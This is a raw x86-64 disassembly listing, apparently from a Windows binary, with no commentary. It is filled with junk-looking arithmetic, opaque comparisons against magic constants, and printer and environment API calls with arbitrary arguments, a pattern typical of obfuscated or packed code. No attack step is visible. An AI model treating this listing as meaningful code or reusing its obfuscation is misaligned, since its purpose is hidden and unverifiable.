movsx ecx, word [rsp + 0x7bc]
and eax, ecx
mov rcx, qword [rsp + 0x36a8]
movsx ecx, word [rcx]
mov rdx, qword [rsp + 0x36f8]
movsx edx, word [rdx]
add ecx, edx
cmp eax, ecx
jg 0x14005bdc4
movzx eax, word [rsp + 0x7c0]
mov rcx, qword [rsp + 0x3780]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x7b8], ax
mov eax, dword [rsp + 0x1bc4]
mov dword [rsp + 0x1d1c], eax
cmp dword [rsp + 0x1d1c], 0xe800697e
je 0x14005bda6
cmp dword [rsp + 0x1d1c], 0xfa1a782e
je 0x14005bd66
jmp 0x14005bdc2
mov rdx, qword [rsp + 0x37f8]
mov rcx, qword [rsp + 0x37f8]
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
mov dword [rsp + 0x1bd4], eax
movzx eax, byte [rsp + 0xe2]
movzx ecx, byte [0x14017c010]
add eax, ecx
mov rcx, qword [rsp + 0x37e8]
mov byte [rcx], al
call fcn.14012f7e0
nop
jmp 0x14005bdc2
mov rax, qword [rsp + 0x3510]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1ba8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x1c5c], eax
jmp 0x14005bde4
mov rax, qword [rsp + 0x3768]
mov rcx, qword [0x14017c008]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x3688]
mov qword [rcx], rax
jmp 0x14005be4e
mov r9d, 0x52
lea r8, [rsp + 0x1d20]
mov edx, 0xb3
mov rcx, qword [rsp + 0x3578]
call sub.WINSPOOL.DRV_SetPrinterA
mov dword [rsp + 0x1d24], eax
mov rax, qword [rsp + 0x3660]
mov rcx, qword [rsp + 0x37e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x3660]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3640]
mov rcx, qword [rsp + 0x34c8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x3178], rax
mov rax, qword [rsp + 0x3748]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x35a0]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x3518]
mov byte [rcx], al
movzx eax, byte [rsp + 0xe4]
mov rcx, qword [rsp + 0x3648]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [0x14017cee0]
mov byte [rcx], al
mov rax, qword [rsp + 0x3790]
movsx eax, word [rax]
movsx ecx, word [0x14017ced0]
sar eax, cl
mov rcx, qword [rsp + 0x3790]
mov word [rcx], ax
movzx eax, byte [rsp + 0xe4]
movzx ecx, byte [rsp + 0xe0]
xor eax, ecx
mov byte [rsp + 0xe2], al
mov rax, qword [rsp + 0x35d0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xe6]
and eax, ecx
mov rcx, qword [rsp + 0x3518]
mov byte [rcx], al
mov rax, qword [rsp + 0x3650]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1bf8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3510]
mov dword [rcx], eax
mov rax, qword [rsp + 0x37d0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3508]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3680]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3660]
mov ecx, dword [rsp + 0x1ca0]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x34d0]
mov dword [rcx], eax
mov rax, qword [0x14017c008]
mov rcx, qword [rsp + 0x3788]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3678], rax
mov rax, qword [rsp + 0x37a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x7c4]
sub eax, ecx
mov rcx, qword [rsp + 0x36d8]
mov word [rcx], ax
movzx eax, byte [rsp + 0xe2]
mov rcx, qword [rsp + 0x35a8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x14017cee0]
mov byte [rcx], al
movzx eax, byte [rsp + 0xe0]
movzx ecx, byte [rsp + 0xe2]
and eax, ecx
mov byte [rsp + 0xe3], al
movsx eax, byte [rsp + 0xe5]
mov rcx, qword [rsp + 0x35d0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3518]
mov byte [rcx], al
mov rax, qword [rsp + 0x34c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x34e8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x7c4], ax
mov rax, qword [0x14017c008]
mov rcx, qword [rsp + 0x3788]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3688]
mov qword [rcx], rax
mov rax, qword [rsp + 0x34d0]
mov rcx, qword [rsp + 0x37e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x1cdc], eax
mov rax, qword [rsp + 0x3508]
movzx ecx, al
mov rax, qword [rsp + 0x3280]
shl rax, cl
mov rcx, qword [rsp + 0x34c8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3510]
mov ecx, dword [rsp + 0x1bf8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1c90], eax
mov rax, qword [rsp + 0x35a0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xe5]
and eax, ecx
mov byte [rsp + 0xe1], al
mov rax, qword [rsp + 0x3648]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x37e8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x14017cee0]
mov byte [rcx], al
movzx eax, word [rsp + 0x7c0]
movzx ecx, word [rsp + 0x7b4]
add eax, ecx
mov word [rsp + 0x7b8], ax
movzx eax, word [rsp + 0x7b4]
movzx ecx, word [rsp + 0x7c0]
sub eax, ecx
mov rcx, qword [rsp + 0x37a0]
mov word [rcx], ax
mov rax, qword [rsp + 0x36f8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x37b8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x7bc], ax
mov rax, qword [rsp + 0x3690]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1bac]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3650]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3680]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3178]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x34c8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3678]
mov rcx, qword [rsp + 0x3788]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3768]
mov qword [rcx], rax
mov rax, qword [rsp + 0x37e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1bb8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3660]
mov dword [rcx], eax
mov rax, qword [rsp + 0x35d0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xe1]
or eax, ecx
mov byte [rsp + 0xe6], al
movzx eax, byte [rsp + 0xe2]
mov rcx, qword [rsp + 0x35c8]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x37e8]
mov byte [rcx], al
mov rax, qword [rsp + 0x37e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x35c8]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [0x14017cee0]
mov byte [rcx], al
movsx eax, word [rsp + 0x720]
mov rcx, qword [rsp + 0x36a8]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x7c8], ax
mov rax, qword [rsp + 0x35c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe4]
sub eax, ecx
mov rcx, qword [rsp + 0x35c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x34c8]
mov rcx, qword [rsp + 0x3658]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x37d0]
mov qword [rcx], rax
mov rax, qword [0x14017c008]
mov rcx, qword [rsp + 0x3788]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x3678], rax
mov eax, dword [rsp + 0x1bd8]
sub eax, 0xdb
mov dword [rsp + 0x1bd8], eax
mov eax, dword [rsp + 0x1bc4]
mov ecx, dword [rsp + 0x1b98]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x37e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3690]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1c5c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3650]
mov dword [rcx], eax
mov rax, qword [rsp + 0x35a0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xe5]
add eax, ecx
mov byte [rsp + 0xe6], al
mov rax, qword [rsp + 0x36f8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x7bc]
add eax, ecx
mov rcx, qword [rsp + 0x37b8]
mov word [rcx], ax
movzx eax, byte [rsp + 0xe3]
mov rcx, qword [rsp + 0x3648]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x14017cee0]
mov byte [rcx], al
mov rax, qword [rsp + 0x36f8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x7c8]
add eax, ecx
mov word [rsp + 0x7bc], ax
cmp dword [rsp + 0x1bd8], 0xb61a
jae 0x14005be4e
cmp dword [rsp + 0x1cec], 0xd1aa
jb 0x14005c5b3
mov rax, qword [rsp + 0x3560]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x37a0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x34e8]
mov word [rcx], ax
mov eax, dword [rsp + 0x1cec]
sub eax, 0xec
mov dword [rsp + 0x1cec], eax
mov rax, qword [rsp + 0x3510]
mov rcx, qword [rsp + 0x3690]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1bac], eax
mov eax, dword [rsp + 0x1cdc]
mov rcx, qword [rsp + 0x37e0]
mov qword [rsp + 0x3800], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3800]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x37e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3700]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x3678]
shr rax, cl
mov rcx, qword [rsp + 0x3768]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3260]
mov rcx, qword [rsp + 0x3528]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x3508], rax
movsx eax, byte [rsp + 0xe6]
movsx ecx, byte [rsp + 0xe1]
xor eax, ecx
mov rcx, qword [rsp + 0x35a0]
mov byte [rcx], al
movzx eax, word [rsp + 0x7b4]
movzx ecx, word [rsp + 0x7c4]
and eax, ecx
mov rcx, qword [rsp + 0x37a0]
mov word [rcx], ax
mov rax, qword [rsp + 0x3688]
mov rcx, qword [0x14017c008]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [0x14017ced8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3560]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x37a0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3560]
mov word [rcx], ax
movsx eax, word [rsp + 0x7cc]
movsx ecx, word [rsp + 0x7c8]
and eax, ecx
mov word [rsp + 0x720], ax
mov rax, qword [0x14017ced8]
mov rcx, qword [rsp + 0x3768]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x3688]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3660]
mov rcx, qword [rsp + 0x37e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1ca0], eax
mov rax, qword [rsp + 0x3690]
mov ecx, dword [0x14017cee8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1c5c], eax
mov rax, qword [rsp + 0x3640]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3508]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x37c0], rax
mov rax, qword [rsp + 0x36a8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x720]
add eax, ecx
mov rcx, qword [rsp + 0x36f8]
mov word [rcx], ax
movsx eax, byte [rsp + 0xe6]
movsx ecx, byte [rsp + 0xe5]
sar eax, cl
mov rcx, qword [rsp + 0x3748]
mov byte [rcx], al
mov rax, qword [rsp + 0x37e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x3648]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [0x14017c010], al
movzx eax, byte [rsp + 0xe3]
movzx ecx, byte [rsp + 0xe7]
xor eax, ecx
mov rcx, qword [rsp + 0x35a8]
mov byte [rcx], al
mov rax, qword [rsp + 0x3560]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x7b8]
or eax, ecx
mov rcx, qword [rsp + 0x34c0]
mov word [rcx], ax
jmp 0x14005c333
mov rax, qword [rsp + 0x34e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x7c4]
and eax, ecx
mov rcx, qword [rsp + 0x37a0]
mov word [rcx], ax
mov rax, qword [rsp + 0x3790]
movsx eax, word [rax]
mov dword [rsp + 0x1d28], eax
cmp dword [rsp + 0x1d28], 0
je 0x14005c61c
cmp dword [rsp + 0x1d28], 0x679
je 0x14005c601
jmp 0x14005c762
movzx edx, word [rsp + 0x7b4]
movzx ecx, word [rsp + 0x7c4]
call fcn.14012fec0
nop
jmp 0x14005c762
lea rax, [rsp + 0x37c0]
mov qword [rsp + 0x3808], rax
movzx eax, byte [0x14017c010]
movzx ecx, byte [rsp + 0xe0]
add eax, ecx
mov rcx, qword [rsp + 0x35c8]
movzx ecx, byte [rcx]
mov rdx, qword [rsp + 0x3648]
movzx edx, byte [rdx]
add ecx, edx
cmp eax, ecx
jle 0x14005c762
mov rax, qword [rsp + 0x3650]
mov rcx, qword [rsp + 0x3510]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x3650]
mov dword [rcx], eax
movzx eax, byte [rsp + 0xe5]
mov byte [rsp + 0x1d2c], al
cmp byte [rsp + 0x1d2c], 0
je 0x14005c713
cmp byte [rsp + 0x1d2c], 0x3f
je 0x14005c6a5
jmp 0x14005c762
mov rax, qword [rsp + 0x37e0]
mov rcx, qword [rsp + 0x34d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x3660]
mov dword [rcx], eax
mov rax, qword [0x14017ced8]
mov rcx, qword [rsp + 0x3678]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x3788], rax
mov dword [rsp + 0x20], 0xce
lea r9, [rsp + 0x37f8]
mov r8d, 0x54
mov edx, 0x8b
mov rcx, qword [rsp + 0x3738]
call sub.WINSPOOL.DRV_SetJobA
mov dword [rsp + 0x1d24], eax
jmp 0x14005c762
lea rax, [rsp + 0xe0]
mov qword [rsp + 0x3810], rax
mov rax, qword [rsp + 0x3668]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x36a8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3790]
mov word [rcx], ax
movsx eax, byte [rsp + 0xe6]
movsx ecx, byte [rsp + 0xe1]
add eax, ecx
mov rcx, qword [rsp + 0x3748]
mov byte [rcx], al
mov dword [rsp + 0x1d30], 0x6a16
mov rax, qword [rsp + 0x34e8]
movzx eax, word [rax]
mov dword [rsp + 0x1d34], eax
cmp dword [rsp + 0x1d34], 0x3ff
je 0x14005c78e
jmp 0x14005c7af
mov rax, qword [rsp + 0x3780]
movzx edx, word [rax]
mov rax, qword [rsp + 0x34e8]
movzx ecx, word [rax]
call fcn.14012fec0
nop
jmp 0x14005c83b
lea rax, [0x14017ced0]
mov qword [rsp + 0x3818], rax
movzx eax, byte [rsp + 0xe7]
movzx ecx, byte [rsp + 0xe3]
sub eax, ecx
mov byte [rsp + 0xe2], al
lea rax, [rsp + 0x1bac]
mov qword [rsp + 0x3820], rax
mov rax, qword [rsp + 0x3688]
mov rcx, qword [0x14017c008]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x3688]
mov qword [rcx], rax
mov rax, qword [rsp + 0x37d0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3178]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3808]
mov qword [rcx], rax
lea rax, [rsp + 0x1cdc]
mov qword [rsp + 0x3828], rax
movzx eax, word [rsp + 0x7b8]
mov rcx, qword [rsp + 0x36d8]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x34c0]
movzx ecx, word [rcx]
mov dword [rsp + 0x1d38], ecx
movzx edx, word [rsp + 0x7c0]
movzx ecx, dl
mov edx, dword [rsp + 0x1d38]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jne 0x14005c98c
mov eax, dword [rsp + 0x1ca0]
mov dword [rsp + 0x1d3c], eax
cmp dword [rsp + 0x1d3c], 0
je 0x14005c8ae
cmp dword [rsp + 0x1d3c], 0xfe04449d
je 0x14005c95a
jmp 0x14005c98c
mov rax, qword [rsp + 0x3518]
movzx eax, byte [rax]
mov byte [rsp + 0x1d40], al
cmp byte [rsp + 0x1d40], 0x3f
je 0x14005c8cf
jmp 0x14005c958
movsx eax, byte [rsp + 0xe1]
mov rcx, qword [rsp + 0x3518]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x35a0]
mov byte [rcx], al
mov dword [rsp + 0x20], 0x11
lea r9, [rsp + 0x3808]
mov r8d, 0x52
mov rdx, qword [rsp + 0x37f8]
mov rcx, qword [rsp + 0x3580]
call sub.WINSPOOL.DRV_SetPrinterDataA
mov dword [rsp + 0x1d44], eax
mov rax, qword [rsp + 0x35c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe7]
and eax, ecx
mov byte [rsp + 0xe4], al
movsx eax, byte [rsp + 0xe6]
movsx ecx, byte [rsp + 0xe5]
sub eax, ecx
mov rcx, qword [rsp + 0x3518]
mov byte [rcx], al
jmp 0x14005c98c
mov dword [rsp + 0x20], 0xa
lea r9, [rsp + 0x7bc]
mov r8d, 0xfb
mov rdx, qword [rsp + 0x3830]
mov rcx, qword [rsp + 0x35d8]
call sub.WINSPOOL.DRV_SetPrinterDataA
mov dword [rsp + 0x1bb8], eax
movsx eax, word [rsp + 0x720]
mov rcx, qword [rsp + 0x37b8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x36a8]
mov word [rcx], ax
movzx eax, byte [rsp + 0xe2]
movzx ecx, byte [0x14017c010]
add eax, ecx
movzx ecx, byte [rsp + 0xe7]
movzx edx, byte [rsp + 0xe0]
sub ecx, edx
cmp eax, ecx
je 0x14012e1ee
mov rax, qword [rsp + 0x3700]
mov rax, qword [rax]
mov qword [rsp + 0x3838], rax
mov rax, qword [rsp + 0x3688]
mov rax, qword [rax]
mov qword [rsp + 0x3840], rax
cmp qword [rsp + 0x3840], 0
je 0x14005ca25
movabs rax, 0xaca1c16782fcf89
cmp qword [rsp + 0x3840], rax
je 0x14012df08
jmp 0x14012e0e6
lea rax, [rsp + 0x1bac]
mov qword [rsp + 0x3848], rax
mov rax, qword [rsp + 0x37d0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3178]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x37c0], rax
mov rax, qword [rsp + 0x34d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1cdc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3828]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3700]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x3788]
shr rax, cl
mov qword [rsp + 0x3678], rax
movsx eax, word [rsp + 0x7c8]
movsx ecx, word [rsp + 0x720]
xor eax, ecx
mov word [0x14017ced0], ax
mov rax, qword [rsp + 0x3810]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x37e8]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0xe4], al
movsx eax, byte [rsp + 0xe1]
mov rcx, qword [rsp + 0x3518]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0xe6], al
mov rax, qword [rsp + 0x34c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3780]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x7b8], ax
mov rax, qword [rsp + 0x35c8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x35a8]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x35c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x3848]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1c90]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3510]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3658]
mov rcx, qword [rsp + 0x37c0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3808]
mov qword [rcx], rax
mov eax, dword [rsp + 0x1ca0]
mov ecx, dword [rsp + 0x1cdc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3828]
mov dword [rcx], eax
mov eax, dword [rsp + 0x1c74]
add eax, 0x11
mov dword [rsp + 0x1c74], eax
mov rax, qword [rsp + 0x3678]
mov rcx, qword [rsp + 0x3838]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3788], rax
movzx eax, byte [rsp + 0xe2]
mov rcx, qword [rsp + 0x37e8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x14017cee0]
mov byte [rcx], al
mov rax, qword [rsp + 0x37b8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x720]
sub eax, ecx
mov rcx, qword [rsp + 0x3818]
mov word [rcx], ax
movzx eax, byte [rsp + 0xe4]
mov rcx, qword [rsp + 0x3648]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xe0], al
mov rax, qword [rsp + 0x3780]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x34c0]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x3780]
mov word [rcx], ax
mov rax, qword [rsp + 0x3518]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x35a0]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0xe1], al
mov rax, qword [rsp + 0x3848]
mov ecx, dword [rsp + 0x1c90]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x3690]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3828]
mov rcx, qword [rsp + 0x3660]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x1ca0], eax
mov rax, qword [rsp + 0x3680]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x34c8]
mov qword [rsp + 0x3850], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3850]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x37d0]
mov qword [rcx], rax
cmp dword [rsp + 0x1c74], 0x56cf
jne 0x14005ca35
cmp dword [rsp + 0x1d30], 0x7646
je 0x14005d03b
mov rax, qword [0x14017c008]
mov rcx, qword [rsp + 0x3678]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3700]
mov qword [rcx], rax
movsx eax, word [rsp + 0x720]
movsx ecx, word [rsp + 0x7c8]
add eax, ecx
mov word [0x14017ced0], ax
movsx eax, byte [rsp + 0xe6]
mov rcx, qword [rsp + 0x3748]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x3518]
mov byte [rcx], al
mov rax, qword [rsp + 0x37b8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x36a8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x720], ax
movzx eax, word [rsp + 0x7c0]
movzx ecx, word [rsp + 0x7b4]
add eax, ecx
mov word [rsp + 0x7c4], ax
movsx eax, byte [0x14017c011]
mov rcx, qword [rsp + 0x35a0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xe6], al
mov rax, qword [rsp + 0x37e0]
mov rcx, qword [rsp + 0x3660]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x37e0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x1d30]
add eax, 0x30
mov dword [rsp + 0x1d30], eax
mov rax, qword [rsp + 0x3688]
mov rcx, qword [0x14017ced8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x3838], rax
mov rax, qword [rsp + 0x3650]
mov ecx, dword [rsp + 0x1ba8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x3848]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3680]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3508]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3640]
mov qword [rcx], rax
movzx eax, byte [rsp + 0xe2]
movzx ecx, byte [rsp + 0xe0]
add eax, ecx
mov rcx, qword [0x14017cee0]
mov byte [rcx], al
movsx eax, byte [rsp + 0xe1]
mov rcx, qword [rsp + 0x35d0]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0xe6], al
mov rax, qword [0x14017cee0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x3810]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0xe4], al
movzx eax, word [rsp + 0x7c0]
mov rcx, qword [rsp + 0x3560]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x7b8], ax
movsx eax, word [rsp + 0x7bc]
movsx ecx, word [rsp + 0x720]
shl eax, cl
mov rcx, qword [rsp + 0x37b8]
mov word [rcx], ax
mov eax, dword [rsp + 0x1ba8]
mov ecx, dword [rsp + 0x1c90]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3848]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3838]
mov rcx, qword [rsp + 0x3788]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3678], rax
mov rax, qword [rsp + 0x34c8]
mov rcx, qword [rsp + 0x3658]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x3808]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3660]
mov ecx, dword [rsp + 0x1ca0]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x1bb8], eax
mov rax, qword [rsp + 0x36a8]
movsx eax, word [rax]
movsx ecx, word [0x14017ced0]
add eax, ecx
mov rcx, qword [rsp + 0x3790]
mov word [rcx], ax
movzx eax, byte [rsp + 0xe7]
mov rcx, qword [rsp + 0x3648]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x14017cee0]
mov byte [rcx], al
movzx eax, word [rsp + 0x7c4]
mov rcx, qword [rsp + 0x37a0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x34c0]
mov word [rcx], ax
mov rax, qword [rsp + 0x37e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x35c8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x37e8]
mov byte [rcx], al
mov rax, qword [rsp + 0x3668]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x36f8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3818]
mov word [rcx], ax
mov rax, qword [rsp + 0x37d0]
mov rcx, qword [rsp + 0x3260]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x37d0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3690]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x3650]
mov qword [rsp + 0x3858], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3858]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x1bac], eax
mov rax, qword [rsp + 0x37e0]
mov ecx, dword [rsp + 0x1ca0]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x1bb8], eax
jmp 0x14005ccd5
mov rax, qword [rsp + 0x3788]
movzx ecx, al
mov rax, qword [rsp + 0x3678]
shl rax, cl
mov qword [rsp + 0x3838], rax
movsx eax, byte [rsp + 0xe5]
mov rcx, qword [rsp + 0x35d0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xe6], al
mov rax, qword [rsp + 0x3700]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3838]
sub rcx, rax
mov rax, rcx
mov qword [0x14017c008], rax
mov rax, qword [rsp + 0x3790]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3818]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x7cc], ax
movsx eax, byte [0x14017c011]
movsx ecx, byte [rsp + 0xe6]
sub eax, ecx
mov rcx, qword [rsp + 0x35a0]
mov byte [rcx], al
mov eax, dword [rsp + 0x1ccc]
add eax, 0x22
mov dword [rsp + 0x1ccc], eax
movzx eax, word [rsp + 0x7c4]
mov rcx, qword [rsp + 0x37a0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3560]
mov word [rcx], ax
mov rax, qword [rsp + 0x34c8]
mov rcx, qword [rsp + 0x3508]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x3260], rax
mov eax, dword [rsp + 0x1ba8]
mov ecx, dword [rsp + 0x1bac]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1bf8], eax
mov rax, qword [rsp + 0x3828]
mov rcx, qword [rsp + 0x34d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
